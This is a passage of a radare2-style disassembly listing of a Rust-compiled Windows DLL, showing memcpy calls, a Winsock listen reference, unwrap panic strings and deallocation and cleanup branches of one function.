lea rcx, [rbp + 0x358]
mov r8d, 0x21
call fcn.1800050a0
mov rdx, qword [rbp + 0x358]
mov r8, qword [rbp + 0x368]
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x388], rdx
call fcn.1800ff010
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x150]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x20], reloc.WS2_32.dll_listen
lea rdx, [0x18012b3e9]
lea r9, [0x18012b475]
lea rcx, [rbp + 0x338]
mov r8d, 2
call fcn.1800050a0
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x398], rax
mov rsi, qword [rbp + 0x348]
lea rcx, [rbp + 0x300]
call fcn.1800fc8b0
mov r8, rdx
lea rcx, [rbp + 0x150]
mov rdx, rax
call fcn.1800efcf0
cmp qword [rbp + 0x150], 0
jne 0x180002a04
mov rdi, qword [rbp + 0x158]
mov rbx, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 0x398]
mov r8, rsi
call fcn.1800ff100
lea rcx, [rbp - 0x30]
mov rdx, rdi
mov r8, rbx
call fcn.1800ff100
lea rcx, [rbp + 0x150]
lea rdx, [rbp - 0x30]
call fcn.1800f5610
mov rcx, qword [rbp + 0x150]
test rcx, rcx
je 0x18000271d
mov rdx, qword [rbp + 0x158]
test rdx, rdx
je 0x1800026fd
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x170]
test rdx, rdx
je 0x18000273c
mov rcx, qword [rbp + 0x168]
mov r8d, 1
call fcn.1800059f0
jmp 0x18000273c
mov rax, qword [rbp + 0x158]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x18000273c
test rcx, rcx
jne 0x18000280e
mov rdx, qword [rbp + 0x340]
test rdx, rdx
je 0x18000275a
mov r8d, 1
mov rcx, qword [rbp + 0x398]
call fcn.1800059f0
lea rcx, [rbp - 0x30]
call fcn.180003c90
mov rdx, qword [rbp + 0x360]
test rdx, rdx
je 0x180002781
mov r8d, 1
mov rcx, qword [rbp + 0x388]
call fcn.1800059f0
mov rdx, qword [rbp + 0x2c0]
test rdx, rdx
je 0x18000279f
mov rcx, qword [rbp + 0x2b8]
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x308]
test rdx, rdx
je 0x1800027bd
mov rcx, qword [rbp + 0x300]
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x2e8]
test rdx, rdx
je 0x1800027db
mov rcx, qword [rbp + 0x2e0]
mov r8d, 1
call fcn.1800059f0
mov rdx, qword [rbp + 0x138]
test rdx, rdx
je 0x1800027f9
mov rcx, qword [rbp + 0x130]
mov r8d, 1
call fcn.1800059f0
nop
add rsp, 0x428
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rax - 1]
mov qword [rbp + 0x380], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp + 0x328], rcx
mov qword [rbp + 0x378], rax
call qword [rax]
mov rax, qword [rbp + 0x378]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x180002851
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x328]
call fcn.1800059f0
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp + 0x380]
jmp 0x180002716
lea r8, [0x18012b120]
mov rcx, rax
mov rdx, rbx
call fcn.180129080
jmp 0x180002a70
mov rax, qword [rbp + 0x398]
add r12, rax
cmp rbx, r12
cmova r12, rbx
lea r8, [0x18012b138]
mov rcx, r12
mov rdx, rbx
call fcn.180129080
jmp 0x180002a70
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_synconce.rs
lea r8, [0x18012b0a0]
mov edx, 0x2b
call fcn.180128fe0
ud2
mov ecx, 0x7d
call fcn.1800f5b00
ud2
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x160], xmm1
movaps xmmword [rbp + 0x150], xmm0
lea rax, [0x18012b288]
mov qword [rsp + 0x20], rax
lea rcx, [0x18012b150]
lea r9, fcn.180003910
lea r8, [rbp + 0x150]
mov edx, 0x2b
call fcn.180129350
jmp 0x180002a70
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_synconce.rs
lea r8, [0x18012b350]
mov edx, 0x2b
call fcn.180128fe0
jmp 0x180002a70
lea rsi, [rbp + 0x150]
lea rdx, [rbp - 0x30]
mov r8d, 0x110
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [0x18012b408]
mov qword [rsp + 0x20], rax
lea rcx, [0x18012b150]
lea r9, fcn.180003950
mov edx, 0x2b
mov r8, rsi
call fcn.180129350
jmp 0x180002a70
mov qword [rbp + 0x150], rdx
lea rax, [0x18012b420]
mov qword [rsp + 0x20], rax
lea rcx, [0x18012b150]
lea r9, fcn.180003bd0
lea r8, [rbp + 0x150]
mov edx, 0x2b
call fcn.180129350
jmp 0x180002a70
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x150], rax
lea rax, [0x18012b390]
mov qword [rsp + 0x20], rax
lea rcx, [0x18012b150]
lea r9, fcn.180003bd0
lea r8, [rbp + 0x150]
mov edx, 0x2b
call fcn.180129350
jmp 0x180002a70
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_synconce.rs
lea r8, [0x18012b3b0]
mov edx, 0x2b
call fcn.180128fe0
jmp 0x180002a70
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_synconce.rs
lea r8, [0x18012b3f0]
mov edx, 0x2b
call fcn.180128fe0
jmp 0x180002a70
call fcn.18010eeb0
jmp 0x180002a70
call fcn.18010eeb0
jmp 0x180002a70
mov byte [rbp + 0x397], 1
call fcn.18010eeb0
jmp 0x180002a70
call fcn.18010eeb0
jmp 0x180002a70
call fcn.18010eeb0
jmp 0x180002a70
mov qword [rbp + 0x398], rdi
lea rax, [0x18012b1e0]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, rbx
mov r8, qword [rbp + 0x398]
mov r9, rbx
call fcn.1801296b0
ud2